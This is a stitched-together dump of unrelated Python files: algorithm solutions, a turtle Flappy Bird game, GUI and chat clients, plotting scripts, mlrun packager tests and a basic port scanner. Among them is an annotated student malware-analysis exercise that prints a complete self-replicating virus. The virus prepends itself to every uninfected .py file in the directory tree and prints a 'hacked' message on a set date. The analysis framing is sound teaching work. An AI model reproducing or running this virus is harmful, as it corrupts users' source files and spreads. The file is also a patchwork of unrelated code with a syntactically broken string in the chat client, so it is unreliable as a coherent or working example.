class Solution(object):
    def minNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: str
        """
        if not nums:
            return []
        nums = self.merge_sort(nums)
        res = ""
        for ele in nums:
            res += str(ele)
        return res

    def merge_sort(self,nums):
        if len(nums) < 2:
            return nums
        mid = len(nums) // 2
        left = nums[:mid]
        right = nums[mid:]
        return self.merge(self.merge_sort(left), self.merge_sort(right))

    def merge(self, left, right):
        res = []
        while left and right:
            if self.verse(left[0], right[0]):
                res.append(left.pop(0))
            else:
                res.append(right.pop(0))
        if left:
            res.extend(left)
        if right:
            res.extend(right)
        return res

    def verse(self, a, b):
        a = str(a)
        b = str(b)

        string1 = a + b
        string2 = b + a

        return True if string1 < string2 else False

if __name__ == '__main__':
    nums = [111,11,1]
    nums = [10,2]
    nums = [3, 30, 34, 5, 9]

    print(Solution().minNumber(nums))

com/study/algorithm/offer/剑指 Offer 45. 把数组排成最小的数.py

剑指 Offer 45. 把数组排成最小的数.py


import argparse

from . import test_data
from .. import music
from .. import key_recognition

def parse_args():
    parser = argparse.ArgumentParser(
        description='Test getting key from sounds')
    parser.add_argument('--verbose_factor_threshold', '-Vft',
                        required=False,
                        help='Color red and print full mismatches list for tests with match factor lesser than VERBOSE_FACTOR_THRESHOLD',  # noqa
                        type=float)
    parser.add_argument('--verbose_duration_threshold', '-Vdt',
                        required=False,
                        help='Print only mismatches with duration greater than VERBOSE_DURATION_THRESHOLD',  # noqa
                        type=float)
    args = parser.parse_args()
    return args

class Mismatch(music.Key):
    def __init__(self, note_computed, note_model, kind_computed, kind_model,
                 timestamp, duration_ms):
        super().__init__(note_computed, timestamp, duration_ms, kind_computed)
        self.note_model = note_model
        self.kind_model = kind_model

    @property
    def key_model(self):
        if self.note_model is None:
            symbol = 'None'
        else:
            symbols = ['C', 'C#', 'D', 'D#', 'E',
                       'F', 'F#', 'G', 'G#', 'A', 'A#', 'H']
            symbol = symbols[self.note_model]
        return f"{symbol}-{self.kind_model}"

    def __str__(self):
        return f"{round(self.timestamp, 3)} - {round(self.end_timestamp, 3)}: Expected {self.key_model}, got {super().__str__()}"  # noqa

def run_tests():
    verbose_factor_threshold = parse_args().verbose_factor_threshold
    verbose_duration_threshold = parse_args().verbose_duration_threshold
    if verbose_factor_threshold is None:
        verbose_factor_threshold = 0.5
    if verbose_duration_threshold is None:
        verbose_duration_threshold = 0.1
    tests = test_data.get_all_test_models()
    print("-----------TONATIONS TEST-----------------")
    for test in tests:
        key = key_recognition.get_key(test.sounds)
        match = key == test.key
        if match:
            color = '\033[92m'
            print(f"{test.file_path}: {color} {key} matches {test.key} \033[0m")  # noqa
        else:
            color = '\033[91m'
            print(f"{test.file_path}: {color}{key} doesn't match {test.key} \033[0m")  # noqa


import turtle
import random
import time

print('Welcome to Flappy Bird')
print('Press UP arrow or w to jump')
print('Press Space Bar to pause / play')
print('Press Esc to exit anytime')

try:
    f = open('flappy_bird.txt', 'x')
    f.close()
    f = open('flappy_bird.txt', 'w')
    f.write('0')
    f.close()
except FileExistsError:
    pass

bird_jump_time = time.time()
bird_jump = False
bird_animation_time = time.time()
bird_animation_index = 0

wait = False
game_start = False

score = 0
real_score = 0

screen = turtle.Screen()
screen.setup(450, 600)
screen.title('Flappy Bird')
screen.bgpic('bg2.gif')
screen.tracer(0)
screen.register_shape('ground1.gif')
screen.register_shape('heading1.gif')
screen.register_shape('bird_down.gif')
images = ('bird1.gif', 'bird2.gif', 'bird3.gif', 'bird4.gif')
for i in images:
    screen.register_shape(i)

pen = turtle.Turtle()
pen.penup()
pen.hideturtle()
pen.pencolor('#111111')
pen.fillcolor('#FF3333')
pen.pensize(3)

t = turtle.Turtle()
t.penup()
t.hideturtle()

score_pen = turtle.Turtle()
score_pen.penup()
score_pen.hideturtle()
score_pen.pencolor('brown')

heading = turtle.Turtle()
heading.penup()
heading.goto(-50, 150)
heading.shape('heading1.gif')

bird = turtle.Turtle()
wall_a1 = turtle.Turtle()
wall_a2 = turtle.Turtle()
wall_b1 = turtle.Turtle()
wall_b2 = turtle.Turtle()
ground = turtle.Turtle()
ground.shape('ground1.gif')
ground.penup()
ground.setpos(0, -260)
bird.penup()
bird.goto(-150, -150)
wall_a1.pencolor('brown')
wall_a2.pencolor('brown')
wall_b1.pencolor('brown')
wall_b2.pencolor('brown')
wall_a1.pensize(3)
wall_a2.pensize(3)
wall_b1.pensize(3)
wall_b2.pensize(3)
wall_a1.penup()
wall_a2.penup()
wall_b1.penup()
wall_b2.penup()
wall_a1.hideturtle()
wall_a2.hideturtle()
wall_b1.hideturtle()
wall_b2.hideturtle()

gx = 0
x1 = 700
x2 = 1050
y1 = random.randint(100, 300)
y2 = 600 - y1 - 150
y3 = random.randint(100, 300)
y4 = 600 - y3 - 150

def rect(t, l, b):
    t.fillcolor('#00CC00')
    t.pencolor('#223311')
    t.pendown()
    t.begin_fill()
    for i in range(2):
        t.forward(l)
        t.right(90)
        t.forward(b)
        t.right(90)
    t.end_fill()
    t.penup()

def up():
    global bird_jump, bird_jump_time, game_start
    if game_start and wait is False:
        bird_jump = True
        bird_jump_time = time.time()
        bird.sety(bird.ycor() + 10)

def exit_game():
    screen.bye()
    exit(0)

def pause():
    global wait
    if wait:
        t.clear()
        wait = False
    elif wait is False:
        wait = True
        t.goto(-80, -280)
        t.write('Game Paused', font=('Comic Sans Ms', 20, 'normal'))

screen.onkeypress(up, 'Up')
screen.onkeyrelease(up, 'Up')
screen.onkeypress(up, 'w')
screen.onkeyrelease(up, 'w')
screen.onkey(pause, 'space')
screen.onkey(exit_game, 'Escape')

screen.listen()

def replay_check(x, y):
    if x <= 50 and x >= -50:
        if y <= -150 and y >= -180:
            welcome_screen()

def end_screen():
    bird.shape('bird_down.gif')
    medals = 'none'
    score_pen.clear()
    global real_score, high_score, wait
    if real_score > int(high_score):
        high_score = real_score
        f = open('flappy_bird.txt', 'w')
        f.write(str(real_score))
        f.close()
    while bird.ycor() >= -170:
        bird.goto(bird.xcor(), bird.ycor() - 5)
        screen.update()
        time.sleep(0.01)
    bird.hideturtle()

    if real_score >= 25:
        medals = 'bronze !'
    if real_score >= 50:
        medals = 'silver !!'
    if real_score >= 100:
        medals = 'gold !!!'

    pen.goto(-200, 200)
    pen.fillcolor('brown')
    pen.pencolor('black')
    box_option_rect(pen, 400, 50)
    pen.goto(-140, 150)
    pen.pencolor('white')
    pen.write('Game Over', font=('ravie', 30, 'normal'))

    pen.goto(-150, 100)
    pen.fillcolor('yellow')
    pen.pencolor('brown')
    box_option_rect(pen, 300, 200)
    pen.goto(-100, 30)
    pen.write('Your Score : ', font=('Comic Sans Ms', 20, 'normal'))
    pen.goto(70, 30)
    pen.write(str(real_score), font=('Comic Sans Ms', 20, 'normal'))
    pen.goto(-100, -20)
    pen.write('Best Score : ', font=('Comic Sans Ms', 20, 'normal'))
    pen.goto(70, -20)
    pen.write(str(high_score), font=('Comic Sans Ms', 20, 'normal'))
    pen.goto(-100, -70)
    pen.write('Medals : ', font=('Bauhaus 93', 20, 'normal'))
    pen.goto(20, -70)
    pen.write(medals, font=('Comic Sans Ms', 20, 'normal'))

    pen.goto(-50, -150)
    pen.fillcolor('#FF3333')
    pen.pencolor('black')
    box_option_rect(pen, 100, 30)
    pen.pencolor('white')
    pen.goto(-47, -153)
    box_option_rect(pen, 94, 24)
    pen.goto(-29, -179)
    pen.write('Replay', font=('Comic Sans Ms', 15, 'normal'))
    screen.onclick(replay_check)
    screen.mainloop()

def main_game():
    global score, real_score, high_score, wait
    score = 0
    real_score = 0
    delay_time = 0.01
    heading.hideturtle()
    bird.showturtle()
    global bird_jump, bird_animation_time, bird_animation_index, y1, y2, y3, y4, x1, x2, gx
    score_pen.goto(-10, 250)
    score_pen.write(real_score, font=('Comic Sans Ms', 20, 'normal'))
    screen.update()
    while True:
        score_pen.clear()
        score_pen.write(real_score, font=('Comic Sans Ms', 20, 'normal'))
        if wait is False:
            delay_time = 0.01 - real_score * 0.0001
            real_score = int(score / 15)
            ground.clear()
            ground.setpos(gx, -260)
            gx -= 4.5
            if gx <= -20:
                gx = 20
            if bird.xcor() <= x1 + 100 + 30 and bird.xcor() >= x1 - 30:
                if bird.ycor() >= 300 - y1 - 20 or bird.ycor() <= 300 - y1 - 150 + 20:
                    end_screen()
                    # screen.bye ()
            if bird.xcor() <= x2 + 100 + 30 and bird.xcor() >= x2 - 30:
                if bird.ycor() >= 300 - y3 - 20 or bird.ycor() <= 300 - y3 - 150 + 20:
                    end_screen()
            if bird.ycor() <= -300 + 60 or bird.ycor() >= 300 - 20:
                end_screen()
            if x1 < -150 or x2 < -150:
                if bird.xcor() > x1 + 120 or bird.xcor() > x2 + 120:
                    score += 1

            if time.time() - bird_animation_time >= 0.1:
                bird.shape(images[bird_animation_index])
                if bird_animation_index == 3:
                    bird_animation_index = 0
                else:
                    bird_animation_index += 1
                bird_animation_time = time.time()
            if time.time() - bird_jump_time >= 0.1:
                bird_jump = False
            if bird_jump is False:
                bird.sety(bird.ycor() - 3)
            if bird_jump:
                bird.sety(bird.ycor() + 2)
            wall_a1.clear()
            wall_a2.clear()
            wall_b1.clear()
            wall_b2.clear()
            x1 -= 5
            x2 -= 5
            if x1 <= -350:
                x1 = 350
                y1 = random.randint(100, 300)
                y2 = 600 - y1 - 150
            if x2 <= -350:
                x2 = 350
                y3 = random.randint(100, 300)
                y4 = 600 - y3 - 150

            wall_a1.goto(x1, 300)
            rect(wall_a1, 100, y1 - 50)
            wall_a1.seth(0)
            wall_a1.goto(x1 - 10, 300 - y1 + 50)
            rect(wall_a1, 120, 50)
            wall_a2.goto(x1, -210)
            wall_a2.seth(90)
            rect(wall_a2, y2 - 50 - 90, 100)
            wall_a2.goto(x1 - 10, -(300 - y2 + 50))
            rect(wall_a2, 50, 120)

            wall_b1.goto(x2, 300)
            rect(wall_b1, 100, y3 - 50)
            wall_b1.seth(0)
            wall_b1.goto(x2 - 10, 300 - y3 + 50)
            rect(wall_b1, 120, 50)
            wall_b2.goto(x2, -210)
            wall_b2.seth(90)
            rect(wall_b2, y4 - 50 - 90, 100)
            wall_b2.goto(x2 - 10, -(300 - y4 + 50))
            rect(wall_b2, 50, 120)

            time.sleep(delay_time)
            screen.update()

def box_option_rect(t, l, b):
    t.begin_fill()
    t.pendown()
    for i in range(2):
        t.forward(l)
        t.right(90)
        t.forward(b)
        t.right(90)
    t.end_fill()
    t.penup()

def main_game_start(x, y):
    global game_start
    if x >= -140 and x <= -40:
        if y >= -180 and y <= -150:
            game_start = True
            pen.clear()
            bird.goto(-150, 150)
            heading.hideturtle()
            main_game()
    elif x >= 40 and x <= 140:
        if y >= -180 and y <= -150:
            pen.goto(-100, 50)
            pen.pencolor('brown')
            pen.fillcolor('yellow')
            box_option_rect(pen, 200, 100)
            pen.goto(-80, -10)
            pen.write('High Score : ', font=('Comic Sans Ms', 15, 'bold'))
            pen.goto(50, -10)
            pen.write(high_score, font=('Comic Sans Ms', 15, 'bold'))

def welcome_screen():
    global high_score
    f = open('flappy_bird.txt', 'r')
    high_score = f.read()
    f.close()
    global x1, x2
    x1 = 350
    x2 = 700
    score_pen.clear()
    pen.clear()
    wall_a1.clear()
    wall_a2.clear()
    wall_b1.clear()
    wall_b2.clear()
    global game_start
    game_start = False
    dir = +1
    gx = 0
    global bird_animation_time, bird_animation_index
    bird.setpos(140, 150)
    bird.showturtle()
    heading.showturtle()
    heading.setpos(-50, 150)
    pen.pencolor('black')
    pen.fillcolor('#FF3333')
    pen.goto(-140, -150)
    box_option_rect(pen, 100, 30)
    pen.goto(40, -150)
    box_option_rect(pen, 100, 30)
    pen.pencolor('white')
    pen.goto(-137, -153)
    box_option_rect(pen, 94, 24)
    pen.goto(43, -153)
    box_option_rect(pen, 94, 24)
    pen.pencolor('white')
    pen.goto(-124, -179)
    pen.write('START', font=('Comic Sans Ms', 15, 'normal'))
    pen.goto(56, -179)
    pen.write('SCORE', font=('Comic Sans Ms', 15, 'normal'))
    pen.goto(-10, 250)

    while True:
        ground.clear()
        ground.setpos(gx, -260)
        gx -= 4.5
        if gx <= -20:
            gx = 20
        if time.time() - bird_animation_time >= 0.1:
            bird.shape(images[bird_animation_index])
            if bird_animation_index == 3:
                bird_animation_index = 0
            else:
                bird_animation_index += 1
            bird_animation_time = time.time()
        if bird.ycor() <= 140 or bird.ycor() >= 160:
            dir *= -1
        bird.sety(bird.ycor() + dir / 2)
        heading.sety(heading.ycor() + dir / 2)
        screen.update()
        time.sleep(0.01)
        screen.onclick(main_game_start)

# main_game code
welcome_screen()

# screen.mainloop ()


from flet import *;

def settings_subview(page):

    #
    from ..components.title import title;
    from ..components.label_field import label_field;
    from ..components.fill_btn import fill_btn;
    from ..methods.color_method import inverse_color_method;
    from ..alerts.change_color_alert import change_color_alert;
    from ..settings.settings import Settings

    def on_click(any=None):
        ans = change_color_alert(page, container, "Oops!", "Please select a valid option.")

        if ans:
            Settings(page)

    #
    mydropdown = Dropdown(
        options=[
            dropdown.Option("AMBER"),
            dropdown.Option("BLUE"),
            dropdown.Option("RED"),
            dropdown.Option("GREEN"),
        ],
        border="underline",
        label="Select one of these:",
    );

    mydropdown.value = inverse_color_method(page.client_storage.get("color"));

    container = Container(
        content=Column(
            [
               title("Settings"),
               mydropdown,
               fill_btn(page, "Change", icons.UPDATE, on_click, True),
               Text("Developed By On3l7d15h", size=12, color=colors.with_opacity(.5, colors.PRIMARY))
            ],
            expand=5,
            horizontal_alignment=CrossAxisAlignment.CENTER,
            alignment=MainAxisAlignment.CENTER
        )
    )

    return container;


'''simple port scan to scan all 65353 ports Developed by iamth3g33k17
'''

import socket

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

host = input("[*] Please enter your host: ")

def Portscanner(port):
    if sock.connect_ex((host,port)):
        print("[-]Port is %d closed" %(port))
    else:
        print("[*]Port is %d open" %(port))

for port in range(1,65354):
    Portscanner(port)


class Solution:
    # @param s, a string
    # @return an integer
    def minCut(self, s):
        n = len(s)
        if (n == 0):
            return -1
        isP = [[False for _ in range(n)] for _ in range(n)]
        # isP[i,j] represent wether s[i:j+1] is Palindrome
        for i in range(n):
            isP[i][i] = True
        for i in range(n-1, -1, -1):
            for j in range(i+1, n):
                if j == i+1:
                    isP[i][j] = (s[i] == s[j])
                else:
                    isP[i][j] = (isP[i+1][j-1] and (s[i] == s[j]))
        #print isP
        dp = [0]*n
        for i in range(n):
            if isP[0][i]:
                dp[i] = 0
            else:
                dp[i] = i
        #dp[i] reprent the mincut for s[0:i+1]
        for i in range(1, n):
            for j in range(i, 0, -1):
                if isP[j][i]:
                    dp[i] = min(dp[i], dp[j-1] + 1)
        #print dp
        return dp[-1]


"""
Analise de vizinhanca
"""

def slope_neighbor(dem_folder, neightable, cellid, neighbor, outfolder):
    """
    Join file with neighbor files
    """

    import os

    from glass.pys.oss import lst_ff, fprop
    from glass.rd      import tbl_to_obj
    from glass.rst.mos import rsts_to_mosaic

    dems = lst_ff(dem_folder, file_format='.tif')

    neigh_df = tbl_to_obj(neightable)

    for dem in dems:
        demfullname = fprop(dem, 'fn')
        demnamelst = demfullname.split('_')
        demname = "_".join(demnamelst[:-1])
        # Get cell_id from raster file
        cid = int(demnamelst[-1])
        # Get neighbors rasters
        fneigh = neigh_df[neigh_df[cellid] == cid]
        vizinhos = fneigh[neighbor].tolist()

        rsts_viz = [os.path.join(
            dem_folder, f"{demname}_{str(v)}.tif"
        ) for v in vizinhos]

        # Get mosaic
        mos = rsts_to_mosaic([dem] + rsts_viz, os.path.join(
            outfolder, demfullname + '.tif'
        ), api='rasterio')

    return outfolder


# Script: 14 - Python Malware Analysis
# Author: Robert Gregor
# Date of latest revision: 302030FMAR23

# Objectives
    # Perform an analysis of the Python-based code given below
        # Insert comments into each line of the script explaining in your own words what the virus is doing on this line
        # Insert comments above each function explaining what the purpose of this function is and what it hopes to carry out
        # Insert comments above the final three lines explaining how the functions are called and what this script appears to do

# My Sources:
    # [Python | os.listdir() method](https://www.geeksforgeeks.org/python-os-listdir-method/)
    # [Python For Loops](https://www.w3schools.com/python/python_for_loops.asp)
    # [Python | os.path.isdir() method](https://www.geeksforgeeks.org/python-os-path-isdir-method/)
    # [Python List extend()](https://www.programiz.com/python-programming/methods/list/extend)
    # [Python break statement](https://www.tutorialspoint.com/python/python_break_statement.htm)
    # [Python: os.path.abspath() method with example](https://www.geeksforgeeks.org/python-os-path-abspath-method-with-example/)
    # [Python File close() Method](https://www.tutorialspoint.com/python/file_close.htm)
    # [Python File Write](https://www.w3schools.com/python/python_file_write.asp)

# Main

#!/usr/bin/python3

# Imports os and datetime modules

import os
import datetime

# Sets the SIGNATURE variable equal to the string VIRUS
SIGNATURE = "VIRUS"

# Function takes path variable as parameter and searches for files to target
def locate(path):
    # Declares empty list
    files_targeted = []
    # Sets filelist equal to list of all files and directories in path variable
    filelist = os.listdir(path)
    # for loop used to apply coonditionals below to each item in filelist
    for fname in filelist:
        # Conditional checks if path is an existing directory or not
        if os.path.isdir(path+"/"+fname):
            # If true, execute the locate function to append additional files to end of list
            files_targeted.extend(locate(path+"/"+fname))
        # Conditional checks if any of the files are python files
        elif fname[-3:] == ".py":
            # If true, set the infected variable equal to False
            infected = False
            # for loop used to open each file in the given path
            for line in open(path+"/"+fname):
                # Conditional checks if SIGNATURE string "VIRUS" is in any line in file
                if SIGNATURE in line:
                    # If true, sets infected variable to True and exits current for loop
                    infected = True
                    break
            # Conditional check if infected is False
            if infected == False:
                # If true, add file to given directory for targetting
                files_targeted.append(path+"/"+fname)
    # return all files that are not yet infected
    return files_targeted

# Function used to infect all files identified by locate function
def infect(files_targeted):
    # Set virus variable equal to pathname to path passed as parameter
    virus = open(os.path.abspath(__file__))
    # Sets virusstring variable to an empty string
    virusstring = ""
    # for loop used to enumerate through each line in virus variable
    for i,line in enumerate(virus):
        # Conditional checks if line is greater then or equl to zero AND less then 39
        if 0 <= i < 39:
            # If true, add line to virusstring
            virusstring += line
    # Closed virus file
    virus.close
    # for loop used to executes commands on each item in files_targeted
    for fname in files_targeted:
        # Opens file
        f = open(fname)
        # Set temp variable equal to contents of file opened
        temp = f.read()
        # Closes file
        f.close()
        # Open file to write to
        f = open(fname,"w")
        # Write over previous file with current file
        f.write(virusstring + temp)
        # Closes file
        f.close()

# Function used to print "You have been hacked" at a specified time
def detonate():
    # Conditional checks if current month is equal to 5 and current date is equal to 9
    if datetime.datetime.now().month == 5 and datetime.datetime.now().day == 9:
        # If true, prints statement
        print("You have been hacked")

# Declares file_targeted variable equal to current directory files
files_targeted = locate(os.path.abspath(""))
# Runs infect function on files_targeted
infect(files_targeted)
# Runs detonate function
detonate()

# End


import io
import os
import random

from PIL import Image
import imageio
import requests
import seventv

def get_response(message: str):
    p_message = message.lower()

    if p_message[:3] == ("add"):
        url = p_message.split(" ")[1]
        return addGif(url)

    if p_message == "help":
        return helpText()

    return 'I didn\'t understand what you wrote. Try typing "help".'

def helpText():
    return "`?add <7tv url> to add a 7tv emoji to your server`"

def addGif(url):
    webpUrl = seventv.get_webp_url(url)
    try:
        webp_data = requests.get(webpUrl).content
    except requests.exceptions.RequestException:
        return "Invalid URL"

    # Extract the name from the url and replace .webp extension with .gif
    gif_name = seventv.get_emote_name(url)

    # Open webp image with PIL
    image = Image.open(io.BytesIO(webp_data))

    # If image is an animated webp, PIL will open it as a sequence of frames
    frames = []
    try:
        while True:
            frames.append(image.copy())
            image.seek(len(frames))  # Skip to next frame
    except EOFError:
        pass  # We have read all the frames from the image now

    # Create a byte buffer and save the gif data into it
    gif_data_buffer = io.BytesIO()

    # Set the duration of each frame based on the original image's frame rate
    duration_per_frame = image.info.get(
        "duration", 100
    )  # Default to 100ms if no duration is set

    imageio.mimwrite(
        gif_data_buffer, frames, "GIF", duration=duration_per_frame, loop=0
    )

    # Get the gif data as bytes
    gif_data = gif_data_buffer.getvalue()

    return gif_data, gif_name


from numpy import genfromtxt,linspace, meshgrid,c_,where
from mudpy.view import plot_grd
from matplotlib import pyplot as plt
from scipy.interpolate import griddata

fault=genfromtxt('/Users/dmelgar/Slip_inv/Melinka_usgs/output/inverse_models/models/gsi_vr2.6.0011.inv.total')

grdfile='/Users/dmelgar/code/GMT/Melinka/lock.grd'
Xlock,Ylock,lock=plot_grd(grdfile,[0,1],plt.cm.magma,flip_lon=False,return_data=True)

#Interpolate
x=linspace(-75,-73,100)
y=linspace(-44,-42,100)
X,Y=meshgrid(x,y)
z = griddata(fault[:,1:3], (fault[:,8]**2+fault[:,9]**2)**0.5, (X, Y), method='linear',fill_value=0)

#get 1m contour
plt.contour(x, y, z,levels=[1,2,3,4,5,6],lw=0.5)
cs=plt.contour(x, y, z,levels=[1],lw=10)
plt.xlim([-75,-73])
plt.ylim([-44,-42])

path=cs.collections[0].get_paths()
p=path[1]

points=c_[Xlock.ravel(),Ylock.ravel()]
i=where(p.contains_points(points)==True)[0]

m=lock.ravel()[i].mean()

plt.title('Mean locking inside 1m contour is %.2f' % (m))

plt.figure()
plt.scatter(points[i,0],points[i,1],c=lock.ravel()[i],lw=0,vmin=0,vmax=1.0,cmap=plt.cm.magma)
plt.colorbar()
plt.title('Locking inside 1m contour')
plt.xlim([-75,-73])
plt.ylim([-44,-42])

plt.show()


class Solution:
    def searchMatrix(self, matrix, target):
        """
        :type matrix: List[List[int]]
        :type target: int
        :rtype: bool
        """
        if not matrix or not matrix[0]:
            return False
        m, n = len(matrix), len(matrix[0])
        i, j = m - 1, 0
        while i >= 0 and j < n:
            val = matrix[i][j]
            if val == target:
                return True
            elif val > target:
                i -= 1
            else:
                j += 1
        return False


#!/usr/bin/env python3

import sys
from functools import reduce
import math

def sum(nums):
  return reduce(lambda x, y: x + y, nums, 0)

def avg(nums):
  return sum(nums) / len(nums)

def stddev(nums):
  numerator = reduce(lambda x, y: (y - avg(nums))*(y - avg(nums)) + x, nums, 0)
  return math.sqrt(numerator / (len(nums) - 1))

def summary(filename):
  nums = []
  with open(filename, 'r') as f:
    for line in f:
      try:
        nums.append(float(line))
      except ValueError:
        continue

  return (sum(nums), avg(nums), stddev(nums))

def main():
    filenames = sys.argv[1:]
    for f in filenames:
      s = summary(f)
      print(f'File: {f} Sum: {s[0]:.6f} Average: {s[1]:.6f} Stddev: {s[2]:.6f}')

if __name__ == "__main__":
    main()


__author__ = "Mathijs Maijer"
__email__ = "m.f.maijer@gmail.com"

class PropertyFunction(object):
    '''
    Class used to specify property functions,
    that are meta analysis functions that can be ran during any iteration
    to run custom values.

    E.g: Calculate the network cluster coeffecient every 5 iterations
    '''
    def __init__(self, name, function, iteration_interval, params):
        '''
        Initialise the property function

        :param str name: The name of the property function
        :param function function: the function to run
        :param int iteration_interval: The interval between executions of the function
        :param dict params: A dictionary containing the arguments to provide for the function
        '''
        self.name = name
        self.fun = function
        self.iteration_interval = iteration_interval
        self.params = params

    def execute(self):
        '''
        Executes the function with the specified arguments and returns the result

        :return: The result of the property function
        '''
        return self.fun(**self.params)


import socket
import gui.main_gui as main_gui
import configparser
import lib.package
from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QMessageBox
from game_class import Game_class

""" Загрузка параметров """
config = configparser.ConfigParser()
config.read("config.ini")

#Главное окно
class MainApp(QtWidgets.QMainWindow, main_gui.Ui_MainWindow):
    def __init__(self, login):
        super().__init__()
        self.setupUi(self)
        self.login = login

        self.label.setText("Ваш логин: " + login)
        self.lineEdit.setText(config["Server"]["host"])
        self.lineEdit_4.setText(config["Server"]["port_client"])

        self.pushButton.clicked.connect(self.connect)
        self.pushButton_2.clicked.connect(self.set_config)
        self.pushButton_3.clicked.connect(self.post_message)
        self.pushButton_4.clicked.connect(self.get_message)

        self.textEdit.setReadOnly(True)
        self.comboBox.addItem("маг")
        self.comboBox.addItem("воин")
        self.comboBox.addItem("убийца")

        # Для отправки и получения сообщений
        self.sor = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sor.bind(('', 0))

        self.get_message()

    def message(self, icon, title, text, button):
        msg = QMessageBox()
        msg.setIcon(icon)
        msg.setWindowTitle(title)
        msg.setText(text)
        msg.setStandardButtons(button)
        msg.exec_()

    def connect(self):
        # Формируем запрос
        data = lib.package.set_package(command='c', login=self.login)

        # Отправляем запрос на сервер
        self.sor.sendto(data.encode('utf-8'), (config["Server"]["host"], int(config["Server"]["port_client"])))

        # Получаение ответа от сервера
        data = self.sor.recv(1024).decode('utf-8')

        # Подключение к комнате
        if data == '0':
            self.close()
            type = self.comboBox.currentText()
            game = Game_class(self.login, type)
            game.start()
        else:
            self.message(QMessageBox.Critical, "Ошибка", "Ошибка ", QMessageBox.Cancel)

    def set_config(self):
        host = self.lineEdit.text()
        port_client = self.lineEdit_4.text()
        config.set('Server', 'host', str(host))
        config.set('Server', 'port_client', str(port_client))
        with open('config.ini', 'w') as configfile:
            config.write(configfile)
        print("done")

    def post_message(self):
        message = self.lineEdit_5.text()

        # Создаем запрос
        data = lib.package.set_package(command='m', login=self.login, message=message)

        # Отправляем запрос на сервер
        self.sor.sendto(data.encode('utf-8'), (config["Server"]["host"], int(config["Server"]["port_client"])))

        # Обновляем окно
        self.get_message()
        self.lineEdit_5.setText("")

    def get_message(self):

        # Создаем запрос
        data = lib.package.set_package(command='g')

        # делаем запрос к серверу
        self.sor.sendto(data.encode('utf-8'), (config["Server"]["host"], int(config["Server"]["port_client"])))

        # Получаем сообщение от сервера
        data = self.sor.recv(1024).decode('utf-8')

        # Декодируем ответ сервера
        map = lib.package.get_package(data)
        data = map["message"]

        # Переформатирование текста
        message = ""
        login = ""
        text = ""
        flag = 0
        for i in data:
            if i == "/":
                if flag == 0:
                    flag = 1
                    if self.login == login:
                        message += "" + login + ": "
                    else:
                        message += "" + login + ": "
                    login = ""
                else:
                    flag = 0
                    message += "" + text + "
"
                    text = ""
                continue
            if i == "!":
                break
            if flag == 0:
                login += i
            if flag == 1:
                text += i

        # Отображаем сообщения
        self.textEdit.setHtml(message)


import ast
import os
import pathlib
import tempfile
from typing import Tuple

from mlrun import MLClientCtx
from mlrun.package.packagers.python_standard_library_packagers import (
    BoolPackager,
    BytearrayPackager,
    BytesPackager,
    DictPackager,
    FloatPackager,
    FrozensetPackager,
    IntPackager,
    ListPackager,
    NonePackager,
    PathPackager,
    SetPackager,
    StrPackager,
    TuplePackager,
)
from mlrun.package.utils import ArchiveSupportedFormat, StructFileSupportedFormat
from tests.package.packager_tester import (
    COMMON_OBJECT_INSTRUCTIONS,
    PackagerTester,
    PackTest,
    PackToUnpackTest,
    UnpackTest,
)

# ----------------------------------------------------------------------------------------------------------------------
# builtins packagers:
# ----------------------------------------------------------------------------------------------------------------------

NoneType = type(None)  # TODO: Replace with types.NoneType from python 3.10

def pack_none() -> NoneType:
    return None

def validate_none(result: NoneType) -> bool:
    # TODO: None values should not be casted to strings when casted to results, once it is implemented in
    #       'execution._cast_result`, change this validation to `return result is None`.
    return result == "None"

class NonePackagerTester(PackagerTester):
    """
    A tester for the `NonePackager`.
    """

    PACKAGER_IN_TEST = NonePackager()

    TESTS = [
        PackTest(
            pack_handler="pack_none",
            log_hint="my_result",
            validation_function=validate_none,
        ),
        PackToUnpackTest(
            pack_handler="pack_none",
            log_hint="my_result",
        ),
    ]

_INT_SAMPLE = 7

def pack_int() -> int:
    return _INT_SAMPLE

def validate_int(result: int) -> bool:
    return result == _INT_SAMPLE

def unpack_int(obj: int):
    assert isinstance(obj, int)
    assert obj == _INT_SAMPLE

class IntPackagerTester(PackagerTester):
    """
    A tester for the `IntPackager`.
    """

    PACKAGER_IN_TEST = IntPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_int",
            log_hint="my_result",
            validation_function=validate_int,
        ),
        PackToUnpackTest(
            pack_handler="pack_int",
            log_hint="my_result",
        ),
        PackToUnpackTest(
            pack_handler="pack_int",
            log_hint="my_result: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": int.__module__,
            },
            unpack_handler="unpack_int",
        ),
    ]

_FLOAT_SAMPLE = 0.97123

def pack_float() -> float:
    return _FLOAT_SAMPLE

def validate_float(result: float) -> bool:
    return result == _FLOAT_SAMPLE

def unpack_float(obj: float):
    assert isinstance(obj, float)
    assert obj == _FLOAT_SAMPLE

class FloatPackagerTester(PackagerTester):
    """
    A tester for the `FloatPackager`.
    """

    PACKAGER_IN_TEST = FloatPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_float",
            log_hint="my_result",
            validation_function=validate_float,
        ),
        PackToUnpackTest(
            pack_handler="pack_float",
            log_hint="my_result",
        ),
        PackToUnpackTest(
            pack_handler="pack_float",
            log_hint="my_result: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": float.__module__,
            },
            unpack_handler="unpack_float",
        ),
    ]

_BOOL_SAMPLE = True

def pack_bool() -> float:
    return _BOOL_SAMPLE

def validate_bool(result: bool) -> bool:
    return result is _BOOL_SAMPLE

def unpack_bool(obj: bool):
    assert isinstance(obj, bool)
    assert obj is _BOOL_SAMPLE

class BoolPackagerTester(PackagerTester):
    """
    A tester for the `BoolPackager`.
    """

    PACKAGER_IN_TEST = BoolPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_bool",
            log_hint="my_result",
            validation_function=validate_bool,
        ),
        PackToUnpackTest(
            pack_handler="pack_bool",
            log_hint="my_result",
        ),
        PackToUnpackTest(
            pack_handler="pack_bool",
            log_hint="my_result: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": bool.__module__,
            },
            unpack_handler="unpack_bool",
        ),
    ]

_STR_RESULT_SAMPLE = "I'm a string."
_STR_FILE_SAMPLE = "Something written in a file..."
_STR_DIRECTORY_FILES_SAMPLE = "I'm text file number {}"

def pack_str() -> str:
